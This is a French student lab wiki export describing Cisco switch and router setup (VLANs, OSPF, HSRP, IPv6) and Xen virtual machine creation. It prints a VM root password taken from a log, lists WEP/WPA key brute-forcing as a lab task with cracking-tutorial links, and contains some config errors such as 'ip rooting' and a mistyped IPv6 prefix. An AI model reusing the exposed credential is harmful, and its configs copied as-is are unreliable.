=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51561</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51561"/>
				<updated>2019-12-07T01:50:06Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Mise en place du serveur DNS avec bind9 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
